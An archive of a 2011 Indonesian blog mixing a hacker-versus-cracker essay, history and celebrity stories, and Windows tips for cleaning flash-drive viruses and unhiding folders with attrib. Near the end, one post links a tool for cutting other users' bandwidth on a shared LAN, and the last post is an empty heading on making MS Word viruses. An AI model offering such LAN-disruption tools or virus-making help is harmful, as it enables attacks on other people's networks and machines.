Rabu, 23 Februari 2011

Meluruskan Salah Kaprah Tentang Hacker

Dalam beberapa tahun ini terminologi hacking memang menjulang. Buku yang “tipis”, “instan” dan menggunakan judul “hacking” menjadi syarat baru penulisan buku-buku populer di Indonesia. Ini adalah permainan berbahaya dari para penerbit (yang diamini penulis) karena kerusakannya bisa sampai ke generasi muda kita. Membuat semakin kentalnya budaya bahwa ilmu pengetahuan bisa didapat dengan cara cepat, instan, bahkan cukup dengan modal buku setebal 20-50 halaman. Yang pasti hacker bukanlah craker, hacker membangun sesuatu sedangkan cracker merusaknya. Mari kita kupas tentang hakekat hacker dan hacking activities ini.
Sebagian besar literatur menyebut bahwa istilah dan budaya hacker pertama kali digunakan pada tahun 1961 ketika MIT mendapat kesempatan menikmati mesin PDP-1. Komputer pertama produksi DEC ini menjadi mainan favorit mahasiswa MIT khususnya yang tergabung di Tech Model Railroad Club. Mereka membuat alat-alat pemrograman, membuat banyak program, mengembangkan etika, jargon dan bahkan ngoprek PDP-1 sehingga menjadi mesin video-game generasi awal. Budaya inilah yang kemudian terkenal menjadi budaya hacker yang sebenarnya. Para hacker diTech Model Railroad Club menjadi tim inti laboratorium penelitian Artificial Intelligence(AI) MIT yang menjadi pioneer dalam penelitian AI di dunia sampai saat ini.
Project ARPAnet yang dikembangkan oleh Departemen Pertahanan Amerika tak lepas dari campur tangan para hacker MIT ini. ARPAnet lah yang menyatukan  budaya hacker dari berbagai “suku”, misalnya dari Standford University dan Carnegie Mellon University (CMU). Para hacker MIT bahkan akhirnya berhasil mengembangkan sistem operasi sendiri bernama ITS (Incompatible Time-Sharing System) yang legendaris, menggantikan TOPS-10 sistem operasi standard yang diproduksi oleh DEC untuk PDP-10. ITS awalnya dibangun dengan assembler, tapi kemudian diubah ke dalam bahasa LISP, bahasa pemrograman functional yang dekat dengan dunia Artificial Intelligence.
Kreasi lain dari para hacker MIT yang cukup legendaris adalah Emacs (karya Richard Stallman), editor favorit yang tetap dipakai oleh banyak programmer mesin unix sampai saat ini. Saya mengenal pertama kali Emacs ketika masuk kampus di Saitama University tahun 1995, saya gunakan untuk menulis semua laporan kuliah saya, membaca email, browsing web, membaca newsgroup dan bahkan Emacs jugalah yang saya gunakan untuk membangun IlmuKomputer.Com generasi awal. Selain hacker dari MIT, para hacker Stanford University dan CMU juga tidak mau kalah, mereka bahkan berhasil mengembangkan aplikasi bersekala besar berupa expert system dan robot industri.
Hacker dari Bell Labs bernama Ken Thomson yang dibantu oleh hacker lain bernama Dennis Ritchie dengan bahasa C-nya mengembangkan sistem operasi Unix. Kolaborasi Thomson dan Ritchie adalah kekuatan yang sangat fenomenal, karena mesin Unix dan bahasa C adalah formula manjur pengembangan sistem operasi Unix dari varian manapun sampai saat ini (BSD maupun System V dimana Linux termasuk didalamnya). Perlu dicatat juga bahwa pada tahun 1982, para hacker dari Stanford dan Berkeley yang dipimpin William (Bill) Joy mendirikan satu perusahaan bernama Sun Microsystem.
Era 1984 dimulainya berbagai episode cracking yang cepat terkenal karena diangkat oleh pers dan para jurnalis. Para jurnalis mulai keliru menyebut kejahatan komputer dan penyimpangannya sebagai sebuah “hacking activities” dimana pelakuknya disebut dengan hacker.
Hacker yang sebenarnya adalah seperti Richard Stallman yang berjuang dengan Free Software Foundation dan puluhan tahun bermimpi membangun sistem operasi bebas bernama HURD. Linux Torvald juga adalah seorang hacker sejati karena tetap komitmen dengan pengembangan kernel Linuxnya sampai sekarang. Kontributor dalam pengembangan Linux dan software open source lain juga adalah para hacker-hacker sejati.
Pelaku carding (penyalahgunaan kartu kredit), phreaking, dan defacing bukanlah hacker tapi mereka adalah cracker. Ungkapan legendaris dari Eric S Raymond dalam tulisan berjudul how to become a hacker, “hacker membangun banyak hal dan cracker merusaknya“. Hacker sejati adalah seorang programmer yang baik. Sesuatu yang sangat bodoh apabila ada orang atau kelompok yang mengklaim dirinya hacker tapi sama sekali tidak mengerti bagaimana membuat program. Sifat penting seorang hacker adalah senang berbagi, bukan berbagi tool exploit, tapi berbagi ilmu pengetahuan. Hacker sejati adalah seorang penulis yang mampu memahami dan menulis artikel dalam bahasa Ibu dan bahasa Inggris dengan baik. Hacker adalah seorang nerd yang memiliki sikap (attitude) dasar yang baik, yang mau menghormati orang lain, menghormati orang yang menolongnya, dan menghormati orang yang telah memberinya ilmu, sarana atau peluang.
Bukanlah sifat seorang hacker apabila diberi kepercayaan memegang administrasi di sebuah server malah memanfaatkannya untuk kegiatan cracking. Atau bahkan kemudian menyerang dan menghancurkan server dari dalam ditambahi dengan memberi ejekan kepada pemilik server yang telah memberinya kesempatan. Dengan terpaksa saya sampaikan, sayapun pernah mengalaminya. Selama ini saya selalu mendukung movement anak-anak muda di dunia maya, saya senang dengan semangat mereka. Ratusan komunitas saya beri domain dan hosting gratis sebagai reward perdjoeangan mereka karena mau sharing knowledge ke teman-teman lain di tanah air. Sayangnya ada cracker yang mengaku hacker (meski tidak memiliki attitude sebagai hacker) yang mempermainkan peluang ini. Setelah puas membuat satu dedicated server yang berisi ratusan situs komunitas lain di-shutdownperusahaan penyedia server karena kegiatan phreaking yang dia lakukan, masih sempatnya mengumpat saya dengan sebutan-sebutan yang tidak manusiawi. Apakah saya kapok? Tidak :) Saya akan tetap memberi kepercayaan, dukungan server dan domain gratis bagi aktifis-aktifis dunia maya.
Hacker bukanlah orang dengan nickname, screenname atau handlename yang lucu, konyol dan bodoh. Eric S Raymond menyebut bahwa menyembunyikan nama, sebenarnya hanyalah sebuah kenakalan, perilaku konyol yang menjadi ciri paracrackerwarez d00dz dan para pecundang yang tidak berani bertanggungjawab atas perbuatannya. Hacker adalah sebuah reputasi, mereka bangga dengan pekerjaan yang dilakukan  dan ingin pekerjaan itu diasosiasikan dengan nama mereka yang sebenarnya. Hacker tidaklah harus orang komputer, karena konsep hacking adalah para pembelajar sejati, orang yang penuh antusias terhadap pekerjaannya dan tidak pernah menyerah karena gagal. Dan para hacker bisa muncul di bidang elektronika, mesin, arsitektur, ekonomi, politik, dsb.
Meluruskan pemahaman masalah hacker adalah proyek penyelamatan generasi dan perbaikan bangsa. Dan ini bisa dimulai dengan memperbaiki kurikulum pendidikankita sehingga mampu mendidik mahasiswa kita menjadi hacker sejati. Dan marilah kita bersama-sama berdjoeang supaya menjadi hacker yang bisa memberi manfaat dan yang bisa memperbaiki republik ini dari keterpurukan.sumber

Selasa, 22 Februari 2011

Hachikō anjing paling setia di dunia

Hachikō (ハチ公?) (10 November 1923-8 Maret 1935) adalah seekor anjing jantan jenis Akita Inukelahiran ŌdatePrefektur Akita. Ia terus dikenang sebagai lambang kesetiaan anjing terhadap majikan. Setelah majikannya meninggal, Hachikō terus menunggu majikannya yang tidak kunjung pulang di Stasiun ShibuyaTokyo.
Julukan baginya adalah Hachikō Anjing yang Setia (忠犬ハチ公 Chūken Hachikō?). Patung Hachikō di depan Stasiun Shibuya telah menjadi salah satu marka tanah di Shibuya. Sewaktu membuat janji untuk bertemu di Shibuya, orang sering berjanji untuk bertemu di depan patung Hachikō.
Kisah hidup
Lahir 10 November 1923 dari induk bernama Goma-go dan anjing jantan bernama Ōshinai-go, namanya sewaktu kecil adalah Hachi. Pemiliknya adalah keluarga Giichi Saitō dari kota Ōdate, Prefektur Akita. Lewat seorang perantara, Hachi dipungut oleh keluarga Ueno yang ingin memelihara anjing jenis Akita Inu. Ia dimasukkan ke dalam anyaman jerami tempat beras sebelum diangkut dengan kereta api yang berangkat dari Stasiun Ōdate, 14 Januari 1924. Setelah menempuh perjalanan sekitar 20 jam, Hachi sampai di Stasiun Ueno, Tokyo.
Hachi menjadi anjing peliharaan Profesor Hidesaburō Ueno yang mengajar ilmu pertanian diUniversitas Kekaisaran Tokyo. Profesor Ueno waktu itu berusia 53 tahun, sedangkan istrinya, Yae berusia 39 tahun. Profesor Ueno adalah pecinta anjing. Sebelum memelihara Hachi, Profesor Ueno pernah beberapa kali memelihara anjing Akita Inu, namun semuanya tidak berumur panjang. Di rumah keluarga Ueno yang berdekatan dengan Stasiun Shibuya, Hachi dipelihara bersama dua ekor anjing lain, S dan John. Sekarang, lokasi bekas rumah keluarga Ueno diperkirakan di dekat gedung Tokyo Department Store sekarang.
Ketika Profesor Ueno berangkat bekerja, Hachi selalu mengantar kepergian majikannya di pintu rumah atau dari depan pintu gerbang. Di pagi hari, bersama S dan John, Hachi kadang-kadang mengantar majikannya hingga ke Stasiun Shibuya. Di petang hari, Hachi kembali datang ke stasiun untuk menjemput.
Pada 21 Mei 1925, seusai mengikuti rapat di kampus, Profesor Ueno mendadak meninggal dunia. Hachi terus menunggui majikannya yang tak kunjung pulang, dan tidak mau makan selama 3 hari. Menjelang hari pemakaman Profesor Ueno, upacara tsuya (jaga malam untuk orang meninggal) dilangsungkan pada malam hari 25 Mei 1925. Hachi masih tidak mengerti Profesor Ueno sudah meninggal. Ditemani John dan S, ia pergi juga ke stasiun untuk menjemput majikannya.
Nasib malang ikut menimpa Hachi karena Yae harus meninggalkan rumah almarhum Profesor Ueno. Yae ternyata tidak pernah dinikahi secara resmi. Hachi dan John dititipkan kepada salah seorang kerabat Yae yang memiliki toko kimono di kawasan Nihonbashi. Namun cara Hachi meloncat-loncat menyambut kedatangan pembeli ternyata tidak disukai. Ia kembali dititipkan di rumah seorang kerabat Yae di Asakusa. Kali ini, kehadiran Hachi menimbulkan pertengkaran antara pemiliknya dan tetangga di Asakusa. Akibatnya, Hachi dititipkan ke rumah putri angkat Profesor Ueno di Setayaga. Namun Hachi suka bermain di ladang dan merusak tanaman sayur-sayuran.
Pada musim gugur 1927, Hachi dititipkan di rumah Kikusaburo Kobayashi yang menjadi tukang kebun bagi keluarga Ueno. Rumah keluarga Kobayashi terletak di kawasan Tomigaya yang berdekatan dengan Stasiun Shibuya. Setiap harinya, sekitar jam-jam kepulangan Profesor Ueno, Hachi terlihat menunggu kepulangan majikan di Stasiun Shibuya.
Pada tahun 1932, kisah Hachi menunggu majikan di stasiun mengundang perhatian Hirokichi Saitō dari Asosiasi Pelestarian Anjing Jepang. Prihatin atas perlakuan kasar yang sering dialami Hachi di stasiun, Saitō menulis kisah sedih tentang Hachi. Artikel tersebut dikirimkannya ke harian Tokyo Asahi Shimbun, dan dimuat dengan judul Itoshiya rōken monogatari ("Kisah Anjing Tua yang Tercinta"). Publik Jepang akhirnya mengetahui tentang kesetiaan Hachi yang terus menunggu kepulangan majikan. Setelah Hachi menjadi terkenal, pegawai stasiun, pedagang, dan orang-orang di sekitar Stasiun Shibuya mulai menyayanginya. Sejak itu pula, akhiran  (sayang) ditambahkan di belakang nama Hachi, dan orang memanggilnya Hachikō.
Sekitar tahun 1933, kenalan Saitō, seorang pematung bernama Teru Andō tersentuh dengan kisah Hachikō. Andō ingin membuat patung Hachikō. Setiap hari, Hachikō dibawa berkunjung ke studio milik Andō untuk berpose sebagai model. Andō berusaha mendahului laki-laki berumur yang mengaku sebagai orang yang dititipi Hachikō. Orang tersebut menjual kartu pos bergambar Hachikō untuk keuntungan pribadi. Pada bulan Januari 1934, Andō selesai menulis proposal untuk mendirikan patung Hachikō, dan proyek pengumpulan dana dimulai. Acara pengumpulan dana diadakan di Gedung Pemuda Jepang (Nihon Seinenkan), 10 Maret 1934. Sekitar tiga ribu penonton hadir untuk melihat Hachikō.
Patung perunggu Hachikō akhirnya selesai dan diletakkan di depan Stasiun Shibuya. Upacara peresmian diadakan pada bulan April 1934, dan disaksikan sendiri oleh Hachikō bersama sekitar 300 hadirin. Andō juga membuat patung lain Hachikō yang sedang bertiarap. Setelah selesai pada 10 Mei 1934, patung tersebut dihadiahkannya kepada Kaisar Hirohito dan Permaisuri Kōjun.
Selepas pukul 06.00 pagi, tanggal 8 Maret 1935, Hachikō, 13 tahun, ditemukan sudah tidak bernyawa di jalan dekat Jembatan Inari, Sungai Shibuya. Tempat tersebut berada di sisi lain Stasiun Shibuya. Hachikō biasanya tidak pernah pergi ke sana. Berdasarkan otopsi diketahui penyebab kematiannya adalah filariasis.
Upacara perpisahan dengan Hachikō dihadiri orang banyak di Stasiun Shibuya, termasuk janda almarhum Profesor Ueno, pasangan suami istri tukang kebun Kobayashi, dan penduduk setempat. Biksu dari Myōyū-ji diundang untuk membacakan sutra. Upacara pemakaman Hachikō berlangsung seperti layaknya upacara pemakaman manusia. Hachikō dimakamkan di samping makam Profesor Ueno di Pemakaman Aoyama. Bagian luar tubuh Hachikō diopset, dan hingga kini dipamerkan di Museum Nasional Ilmu PengetahuanUeno, Tokyo.
Pada 8 Juli 1935, patung Hachikō didirikan di kota kelahiran Hachikō di Ōdate. tepatnya di depanStasiun Ōdate. Patung tersebut dibuat serupa dengan patung Hachikō di Shibuya. Dua tahun berikutnya (1937), kisah Hachikō dimasukkan ke dalam buku pendidikan moral untuk murid kelas 2 sekolah rakyat di Jepang. Judulnya adalah On o wasureruna (Balas Budi Jangan Dilupakan).
Pada tahun 1944, di tengah berkecamuknya Perang Dunia II, patung perunggu Hachikō ikut dilebur untuk keperluan perang. Patung pengganti yang sekarang berada di Shibuya adalah patung yang selesai dibuat bulan Agustus 1948. Patung tersebut merupakan karya pematung Takeshi Andō, anak laki-laki Teru Andō.
Pintu keluar Stasiun JR Shibuya yang berdekatan dengan patung Hachikō disebut Pintu Keluar Hachikō. Sewaktu didirikan kembali tahun 1948, patung Hachikō diletakkan di bagian tengah halaman stasiun menghadap ke utara. Namun setelah dilakukan proyek perluasan halaman stasiun pada bulan Mei 1989, patung Hachikō dipindah ke tempatnya yang sekarang dan menghadap ke timur.
Film Hachikō Monogatari karya sutradara Seijirō Kōyama mulai diputar di Jepang, Oktober 1987. Pada bulan berikutnya diresmikan patung Hachikō di kota kelahirannya, Ōdate. Monumen peringatan ulang tahun Hachikō ke-80 didirikan 12 Oktober 2003 di lokasi rumah kelahiran Hachikō di Ōdate. Sebuah drama spesial tentang Hachikō ditayangkan jaringan televisi Nippon Television pada tahun 2006. Drama sepanjang dua jam tersebut diberi judul Densetsu no Akitaken Hachi (Legenda Hachi si Anjing Akita). Pada tahun 2009 film Hachiko: A Dog's Story[1] karya sutradara Lasse Hallström mulai diputar dan dibintangi oleh Richard Gere dan Joan Allen.
 
 


Kamis, 17 Februari 2011

Nenek moyang inggris adalah para kanibal

Peneliti Museum Sejarah London mengungkapkan fakta bahwa masyarakat Inggris kuno melakukan praktik kanibalisme dan menggunakan sisa tengkorak korban mereka sebagai gelas.

Straits Times melaporkan, Kamis (17/2/2011), peneliti menemukan tulang manusia berusia 15 ribu tahun di wilayah Selatan Inggris, yang menunjukkan tanda-tanda kanibalisme. Selain itu, mereka juga menemukan tengkorak kepala yang dijadikan gelas.

Menurut ahli palaentologi Silvia Bello, tengkorak yang ditemukan di wilayah Somerset itu bersih dari sisa jaringan tubuh, dan telah dipotong untuk menghilangkan tulang wajah. Sudut-sudut tengkorak juga dihaluskan untuk menciptakan gelas atau mangkuk.




"Ini adalah proses yang dilakukan dengan sangat teliti, mengingat alat-alat yang mereka miliki saat itu," jelas Bello.

Para peneliti mensinyalir, gelas maupun mangkuk tengkorak itu digunakan untuk tujuan ritual. Namun, Bello belum bisa memastikan. "Mustahil mengetahui persis untuk apa gelas tengkorak ini digunakan. Tapi, berdasarkan beberapa contoh, gelas itu mungkin saja digunakan untuk menampung darah, anggur atau makanan saat menjalani berbagai ritual," paparnya.
Source: http://techno.okezone.com/read/2011/02/17/56/425600/warga-inggris-kuno-kanibal

Wajah Asli Fir’aun Tutankhamun Sang Penguasa Mesir Kuno Terungkap

Setelah 3000 tahun berlalu, akhirnya wajah mumi Tutankhamun terungkap. Kalangan arkeolog mengambil mumi itu dari sarcophagus dan menyimpannya di sebuah peti dengan pengaturan suhu di makamnya di Lembah Para Raja Luxor. Peristiwa itu terjadi 85 tahun setelah makam Fir’aun ditemukan oleh petualang Inggris Howard Carter.

Sampai sekarang, hanya 50 orang yang pernah melihat wajah raja bocah yang meninggal lebih dari 3000 tahun lalu. Saat para pakar itu mengangkat Tutankhamun dari peti jenazahnya mereka menyingkirkan kain putih yang menutupi dia, muncullah wajah berwarna hitam dan tubuhnya.

Langkah itu dilakukan sebagai bagian dari cara melindungi jenazah dia. Arkeolog menyatakan jenazah itu terancam karena panas dan kelembaban di dalam makam itu karena sejumlah besar turis yang berkunjung setiap tahun.

“Golden boy itu memiliki keajaiban dan misteri, oleh karena itu setiap orang dari seluruh dunia datang ke Mesir untuk melihat apa yang dilakukan untuk melindungi golden boy dan semuanya saya yakin datang untuk menyaksikan golden boy,” ujar Kepala Bidang Peninggalan Mesir Zahi Hawass sebelum jenazahnya dipindahkan.


Topeng emas Tutankhamun dicopot dengan pisau panas dan kabel Tutankhamun berkuasa di Mesir 1333 sampai 1324 SM dan diyakini naik tahta dalam usia sekitar 9 tahun. Meskipun semasa hidupnya tidak memiliki sejarah yang menentukan, kematian Tutankhamun mendapat perhatian dunia karena makamnya dalam kedaan utuh ketika dibuka oleh Carter tahun 1922.
Makamnya berisi harta karun emas dan kayu hitam indah yang dianggap mewah ketika Carter melihat kedalam makam itu. Ditanya apa yang dia saksikan, jawabannya yang terkenal “Ya, sesuatu yang mengagumkan.”

Penyebab kematian Karya agung makam itu adalah jenazah firaun yang dibuat mumi, ditutupi jimat dan perhiasan serta mengenakan topeng emas. Dalam upaya mengambil harta karun itu, Carter dan timnya memotong jenazah itu kedalam beberapa bagian, memenggal lengan dan kepalanya dan menggunakan pisau panas dan kabel untuk menyingkirkan topeng emas yang direkat ke wajah Tutankhamun dengan proses pembalseman.

Tahun 2005 kalangan ilmuwan merekontruksi Tutankhamun Tubuhnya direkonstruksi dan dikembalikan ke sarcophagus aslinya tahun 1926. Kemudian pernah dibawa keluar untuk pengujian sinar X tiga kali dalam beberapa tahun berikutnya. Harta karun yang diambil memikat dunia dan menarik jutaan orang datang ke Lembah Para Raja.

Pertanyaan mengenap mengapa Tutankhamun meninggal sekitar usia 19 tahun dan gosip adanya kutukan yang membuat meninggal mereka yang terlibat penggalian makamnya makin membuat terkenal firaun.
Ketika tubuhnya diperiksa sinar X tahun 1968, terdapat patahan tulang di tengkoraknya yang mendorong spekulasi bahwa dia dibunuh dengan pukulan. Sejumlah sejarawan berpendapat bahwa dia dibunuh karena berupaya mengembalikan politeisme setelah menggantikan Akhenaten yang meninggalkan dewa-dewa emas Mesir untuk monoteisme.

Namun pemeriksaan scan jenazahnya tahun 2005 membuat para peneliti menyatakan dia tidak dibunuh dan mungkin meninggal karena komplikasi tulang kaki yang retak.

Kepala bidang peninggalan Mesir Zahi Hawass mengatakan penelitian menunjukkan raja bocah ini meninggal setelah luka karena infeksi meskipun tidak semua tim setuju dengan diagnosa itu namun semua menolak dugaan pembunuhan.
sumber

Kamis, 10 Februari 2011

menghapus manual virus pada Flashdisk dengan CMD

kebanyakan virus menggunakan bantuan dari sebuah tipe file *.inf dalam pengaktifan virus tersebut.
hal yang perlu kita ketahui adalah bagaimana file itu berada pada flashdisk kita..
file *.inf itu bernama autorun.inf biasanya si pembuat virus menjadikan attribute file tersebut sebagai system,,hidden,,read only..
jadi jika kita lihat secara langsung kita tidak akan menemukan file tersebut..
caranya adalah menggunakan Command line kesayangan kita..

berikutnya akan nampak seperti ini :
kenapa kita tidak memakai windows explorer saja untuk, membukanya??
mungkin pertanyaan itu muncul di benak kita..
jawabannya bisa saja,,tapi konsekuensinya virus akan aktif jika pada salah satu script yang di gunakan berisi "Action = open folder to view file"..

setelah itu ketik nama drive flashdisk kita. contoh drive flashdisk saya G:
ketikan dir /as /ah pada command line. hal ini di maksudkan agar file yang kita lihat bertipe system dan terhiden.

ini merupakan file2 yang di sembunyikan oleh pemiliknya.
lihat file yang di beri kotak merah,,file ini merupakan [Maaf Saya Kasar] bengek dari virus cvlu.exe..
bagaimana cara menghapusnya??? mudah kita ketikkan del pada command line.. mari kita coba.


kenapa saat kita del ada tulisan could not find,,itu karena kita lupa bahwa tipe file tersebut hidden,,read only plus system..
jadi kita rubah dulu attributnya seperti ini..




setelah itu kita mulai menghapus file autorun.inf terlebih dahulu baru kita hapus file cvlu.exe karena file switch pengaktifannya adalah file autorun.inf.
jadi ketik contoh seperti di bawah ini.
Spoiler image
Posted Image

kemudian kita check kembali di rectory yang di hidden maupun file system dari flashdisk kita dengan mengetik dir /as /ah.
setelah itu akan muncul file2 kita kemudian lihat perbedannya.
Spoiler image
Posted Image

nah setelah itu kita aman membuka flashdisk dari mindows explorer.

nb :
kelebihannya menggunakan cara ini :

* mengetahui tempat induk virus bersemayam
* lebih aman tanpa anti virus
* lebih cepat penanganannya, karena terfokus ke induk virus
* dapat mempelajari secara langsung virus dalam mengaktifkan diri sendiri.



kekurangannya menggunakan cara ini :

* kurang mampu menscan file yang telah terinfeksi, karena keterbatasan informasi khas file yang terinfeksi.
* kurang efisien.
* dan terakhir apapun itu terserah anda para user untuk tetap menggunakan anti virus atau cara ini sebagai tambahan Basketball [img][/img][img][/img]



Rabu, 09 Februari 2011

Menghindari Heacker dengan Real Hide IP

Sadarkah teman kalau Hacker melakukan aksinya karena IP adress kita terlihat..
ok langsung ajj nih sob w kasi aplikasi untuk Menghindari Heacker dengan Real Hide IP Real HIDE IP memungkinkan kita untuk browsing secara anonim, menyimpan alamat IP kita tersembunyi, melindungi informasi pribadi Anda terhadap hacker dan menyediakan enkripsi penuh aktivitas online Anda, semua dengan satu klik sederhana dari sebuah button.
Versi: 4.0.7.6 + Portable
Diperbarui: 2010,11
Bahasa: Multilanguage
Platform: Windows 2K/XP/2K3/Vista/7
Ukuran: 7,14 mb
langsung ajj download disini

Bob Sadino: “Semoga Saya Masuk Neraka”

Bob Sadino barangkali sudah banyak yang kenal. Ia pengusaha sukses yang suka berpenampilan nyentrik. Di mana pun dan kapanpun pakaian “kebesarannya” adalah celana pendek di atas lutut. Yang belum banyak diketahui dari tokoh yang akrab dipanggil Om Bob ini adalah kehidupan spiritualnya.

Nah, dalam biografinya “Belajar Goblok dari Bob Sadino” yang diluncurkan tahun lalu, sedikit terkuak kehidupan spiritual pemilik supermarket Kim Chicks ini. Lahir di Tanjung Karang, 9 Maret l933, Lampung, Bob Sadino ternyata seorang Muslim sejak lahir. Tapi ia mengaku, tak mengerti agama dan belum bisa menjalankan kewajiban sebagai seorang Muslim.

Malah, saat ditanya doa apa yang ia panjatkan setiap hari, jawabannya sungguh mengagetkan. “Kalau orang lain berdoa meminta masuk surga, maka saya setiap hari berdoa kepada Tuhan semoga saya masuk neraka!” Entah itu guyonan atau memang ayah dua putri ini benar-benar tak paham agama.

Tapi yang jelas, ia mengaku sudah terlalu banyak berlumur dosa, sehingga malu minta surga kepada Allah. Jawaban pemilik pabrik sosis dan ham, Kim Food, yang kerap diundang dalam berbagai seminar bisnis ini mengingatkan kepada sebuah lagu ciptaan kelompok Band Ungu ‘Aku manusia yang takut neraka, tapi aku juga tak pantas masuk surga.’

Hanya, bukan Bob Sadino bila tidak bisa membalik pertanyaan. “Daripada Anda yang sudah tahu berlumuran dosa, tapi tetap ngotot mau masuk surga,” sambung Bob, “apakah Anda tidak malu sama Tuhan? Terus berbuat dosa dan maksiat, tapi tetap minta masuk surga. Mending saya dong.”

Menurut anak seorang guru ini, “Lebih baik Anda memperbaiki hidup Anda, jangan lagi berbuat terlalu banyak dosa dan perbanyak berbuat baik pada orang lain. Tanpa minta masuk surga pun, Tuhan pasti akan menempatkan Anda ke sana…” Nah, bagaimana?

Originally Posted by Bob Sadino
Bob Sadino mengaku beragama Islam sejak dilahirkan. Tapi, hingga 1982 ia sama sekali tidak mengerti agama dan tidak juga menjalankan kewajiban sebagai seorang Muslim. Selama puluhan tahun, ia tenggelam dalam urusan duniawi yang sangat melelahkan dan menguras tenaga serta pikirannya. Meski itu sangat dinikmatinya. Hingga pada suatu hari...

”Pa, aku kok tidak pernah melihat Papa shalat?” pertanyaan itu keluar dari mulut putri pertamanya, pada pertengahan 1982. Pertanyaan anaknya itu bagai petir di siang bolong. Menggelegar. Jiwa Bob langsung bergetar dan terus memikirkan isi kata-kata putrinya itu. Gelisah, resah, dan banyak lagi perasaan lain ketika itu. Tapi itu tidak berlangsung lama, karena Bob memang selalu menghadapi berbagai masalah dengan senang dan enteng.

Maka sehari setelah pertanyaan anaknya, giliran Bob yang memberikan pertanyaan. Bukan kepada putrinya, melainkan kepada sang istri, ”Bu..mau berangkat ke Mekah nggak? Umroh yuk...!

Sang istri kaget bukan kepalang. Ia tidak mengira sama sekali, suami yang dikenalnya selama puluhan tahun mengajukan pertanyaan dan ajakan semacam itu. Apa jawaban sang istri?

Tentu saja jawabannya ’iya’, karena tidak lama kemudian mereka berangkat ke Mekah untuk umrah. Padahal, saat itu Bob sama sekali belum mengerti tata cara ritual Islam tersebut. Bahkan Bob mengaku tidak bisa gerakan shalat dan tidak hafal satu surat al-Qur’an, termasuk surat al-Fatihah yang harus dibaca setiap shalat. Ketika sudah berada di depan Ka’bah, Bob hanya bisa tersenyum tanpa melakukan apapun karena memang tidak bisa. Tanpa membaca surat apapun karena tidak ada yang dihafalnya.

”Saya sudah berusaha menghafal al-Fatihah, tapi sulitnya minta ampun. Tidak bisa sama sekali,” ceritanya, ”Ya sudah di depan Ka’bah saya hanya tersenyum saja.” Bob mengaku, peristiwa itu sangat luar biasa. Ia yang merasa penuh dosa dan tidak pernah melaksanakan perintah Allah, tetap mendapat panggilan Allah ke tempat suci Mekah.”Perasaan itu muncul ketika berada di depan Ka’bah, makanya saya hanya tersenyum saja,” katanya.

Aneh bin ajaib, besoknya setelah berjumpa dengan Ka’bah, Bob bisa menghafal al-Fatihah dan langsung lancar shalat. ”Luar biasa, setelah tersenyum di depan Ka’bah, semua menjadi lebih mudah.”

Setahun kemudian, Bob dan istri meneruskan ibadahnya melaksanakan ibadah haji. Meski sudah haji, sepulang dari Mekah Bob tetap saja Bob Sadino, yang selalu berpenampilan seadanya, santai dan cuek. Ke manapun pergi, ia tetap dengan pakaian ’kebesarannya’: celana jean cekak di atas atas lutut. Tentu saja auratnya jadi kelihatan. Bukankah batas aurat pria lutut ke atas?

Selasa, 08 Februari 2011

Mengembalikan Folder Yang Di Hidden Virus

Ada sebuah cerita sederhana seperti ini ;
“ Komputer saya terkena virus, setelah saya scan menggunakan antivirus, virus itu
berhasil dihilang atau dibersihkan, tetapi ketika setelah saya restart ada beberapa Folder
di komputer saya yang hilang”.
“ Flashdisk terkena virus, setelah di scan menggunakan antivirus, flashdisk terbebas dari
virus tetapi kenapa ketika flasdisk itu saya coba buka di komputer lain banyak folder yang
hilang, sudah coba dicari dengan Properties Tools, Folder Option, View, Show Hidden
Files and Folders, bisa terlihat tapi untuk membuang checklist pada Attribut tetapi masih
tidak bisa diaktifkan ? “.
Dari dua persoalan tersebut dapat disimpulkan bahwa komputer tempat kita bekerja
terserang virus yang berekstensikan .scr.


Cara kerja virus ini sangat sederhana yaitu merubah setiap folder yang ada di komputer atau
flashdisk menjadi file applikasi dengan kapasitas yang digandakan menjadi 32 Kb (tertulis
disaat kita membuka). dan ketika coba di bersihkan menggunakan antivirus dari salah satu
vendor, virus tersebut bisa di hilangkan tetapi effect yang ditimbulkan dari scanning tadi
adalah folder-folder yang terserang virus ini menjadi hilang.
Sebenarnya folder tersebut tidak hilang namun disembunyikan saja. Dan folder yang hilang
tersebut dapat kita kembalikan dengan menggukan perintah attrib pada command prompt.
Cara sangat sederhana sekali namun sebelum mengupas bagaimana mengembalikan Folder
yang hilang tersebut akan kita kupas sedikit tentang attribute ini.
Untuk melihat Properties attribute dapat dilakukan dengan dua cara yaitu :

1. Melalui Windows Prompt

Command attribute bekerja pada DOS command prompt, memiliki beberapa fungsi salah
satunya adalah untuk menset attribute dari suatu file apakah file tersebut akan diberi
attribute :
- read-only file attribute
- Archive file attribute
- System File Attibut
- Hidden File Attribut
Untuk mengembalikan Folder yang hilang tersebut menggunakan cara yang kedua yaitu
melalui command prompt.

Adapun tahapannya adalah sebagai berikut :
1. Klik start
2. Kemudian pilih run
3. Kemudian ketikan kata cmd
4. Selanjutnya akan muncul command prompt
5. Nah inilah bagian yang terpenting dari pembahasan kita kali ini, pada command
prompt ini kita ketikkan attrib /? Untuk mengetahui beberapa perintah pada
properties attribute melalui command prompt.
6. selanjutnya pada pompt tersebut akan muncul sederatan kalimat yang menjelaskan
tentang attribute seperti :

* - tanda (+) untuk sets an attribute
* - tanda (– ) untuk Clears an attribute
* - huruf R untuk read-only file attributes
* - huruf A untuk Archive file attribute
* - huruf S untuk System file attribute
* - huruf H untuk Hidden file attribute
* - /S untuk proses penyamaan file di dalam folder sebelumnya dan semua subfolder
* yang ada di komputer
* - /D untuk proses yang akan dilakukan terhadap folder itu sendiri


7. Kembali kepada Folder yang hilang tersebut maka perintah yang kita ketikkan pada
command prompt ini adalah : (ketikkan perintah ini pada Drive C:\> atau D:\> atau
dimana ada Folder yang hilang).
attrib –s –h *.* /S /D
8. Selanjutnya refresh komputer atau semua drive yang ada di komputer kita, hasilnya
adalah BAM !!!, folder yang hilang tersebut muncul kembali.
Jadi sekarang kita tidak perlu khawatir lagi dengan folder yang hilang karena terserang
virus .scr.
Bahkan kita bisa membuka folder orang lain yang di hidden .. (tapi saya tidak
merekomendasikannya lho …) selamat mencoba.

Kamis, 03 Februari 2011

menghentikan bandwith orang lain yang masih satu LAN ma Kita

langsung ajj ke link downloadnya sedot

Cara membuat virus untuk ms word

